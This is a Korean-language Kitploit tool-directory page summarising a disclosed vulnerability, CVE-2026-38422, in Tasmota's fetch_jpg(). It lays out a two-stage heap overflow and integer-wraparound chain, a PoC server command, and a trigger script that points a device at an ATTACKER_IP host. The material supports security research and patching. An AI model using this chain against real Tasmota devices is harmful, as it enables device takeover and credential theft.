Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Tasmota fetch_jpg()의 결합된 버퍼 오버플로를 통한 원격 코드 실행 (Tasmota <= 15.3.0.3) | Kitploit
도구/GitHubGitHub/sermikr0/cve-2026-38422
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware & IoT SecurityRemote Access ToolBinary Exploitation
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Tasmota fetch_jpg()의 결합된 버퍼 오버플로를 통한 원격 코드 실행 (Tasmota <= 15.3.0.3)

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-38422: Tasmota fetch_jpg()의 결합된 버퍼 오버플로를 통한 원격 코드 실행

CVE: CVE-2026-38422
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg()
작성자: Saidakbarxon Maxsudxonov
공개: 책임 있는 공개 — 게시 전에 Tasmota에 보고됨


요약

Tasmota의 스크립터 드라이버(xdrv_10_scripter.ino)에 있는 fetch_jpg() 함수에는, 함께 사용되면 Tasmota <= 15.3.0.3을 실행하는 ESP32 기반 장치에서 원격 코드 실행을 가능하게 하는 두 가지 메모리 손상 취약점이 포함되어 있습니다:

  1. 단계 1 (case 0): 고정 40바이트 boundary[] 버퍼로의 strcpy() 오버플로 — WiFiClient/HTTPClient vtable 포인터를 포함한 인접 힙 메모리를 손상시킵니다 (CVE-2026-38426도 참조)
  2. 단계 2 (case 2): Content-Length의 uint16_t 정수 랩어라운드 — 부족한 크기의 버퍼를 할당하여 스트림 상태 손상을 초래합니다 (CVE-2026-38427도 참조)

단일 공격 세션에서 함께 사용하면 이 두 프리미티브는 힙 손상을 극대화하고 임의 코드 실행 성공 확률을 크게 높입니다.


취약점 체인

root@kitploit:~
Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

개념 증명

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

PoC 서버는:

  1. Tasmota의 연결을 수락합니다 (fetchjp() 트리거)
  2. 단계 1: 80자의 boundary 문자열과 함께 초기 HTTP 200을 전송합니다 (오버플로)
  3. 단계 2: Content-Length: 65537을 가진 MJPEG 프레임을 전송합니다 (랩어라운드)

전체 구현은 CVE-2026-38422_poc.py를 참조하세요.


Tasmota 스크립트를 통한 트리거

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

장치는 fetchjp()를 사용하는 Tasmota 스크립트를 실행 중이어야 합니다. 공격자는 장치가 연결하는 서버를 제어하거나 기존 연결에 대해 MITM을 수행합니다.


영향

  • 기밀성: 높음 — ESP32에서 RCE, 장치 비밀/자격 증명 접근
  • 무결성: 높음 — 전체 장치 탈취
  • 가용성: 높음 — 보장된 크래시/재부팅 루프
  • 공격 벡터: 네트워크 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • CVSS 점수: 9.8 치명적

영향을 받는 장치

버전 <= 15.3.0.3을 실행하고, 스크립터 지원이 활성화되어 있으며, 외부 MJPEG 서버에 연결하기 위해 fetchjp()를 사용하는 스크립트를 실행하는 모든 ESP32 기반 Tasmota 장치.


타임라인

  • 2026-03-29: 두 취약점 모두 발견되어 MITRE에 보고됨
  • 2026-03-29: CVE-2026-38422 지정됨
  • 2026-05-xx: Tasmota에서 패치 출시됨 (v15.3.0.4+)

참고 자료

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • 관련: CVE-2026-38426 (strcpy 오버플로)
  • 관련: CVE-2026-38427 (uint16_t 랩어라운드)
도구 다운로드